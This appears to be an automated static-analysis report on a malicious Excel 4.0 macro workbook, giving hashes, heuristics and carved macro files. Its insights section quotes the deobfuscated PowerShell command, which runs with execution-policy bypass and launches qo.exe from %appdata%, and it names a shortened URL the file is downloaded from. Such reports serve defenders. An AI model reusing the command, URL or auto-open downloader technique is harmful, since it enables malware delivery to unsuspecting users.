Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 68a8283d8f5d3c76…

MALICIOUS

Office (OLE) / .XLS

133.5 KB Created: 2020-11-20 17:59:00 Authoring application: Microsoft Excel
MD5: 0a6814cc660cc3b0a198900f1ada8824 SHA-1: 8c48de4cd6b9af2986de3a5f55946b799b9e7d74 SHA-256: 68a8283d8f5d3c76cb40828e35501007efb0341d4ce23d4e591ebb9e053bc788
148 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment

The Excel 4.0 macro sheet contains an Auto_Open entry that executes a PowerShell command. This command is constructed by concatenating characters to form the string 'powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/qo.exe')'. The script also attempts to download a file named 'qo.exe' from 'https://tinyurl.com/ybqvbjz4' using a constructed PowerShell command. This indicates a downloader functionality, likely delivered via spearphishing.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
86a5e59b6cda7dd262ed94b0837a007a35b9b1c475e5a63987250ef8c7432dc1		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2135 bytes
macros.bas
fed365d3401536fb63e11d0a36cc7c35338c0a8c74a96fb254c46366ad6287cd		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 642 bytes

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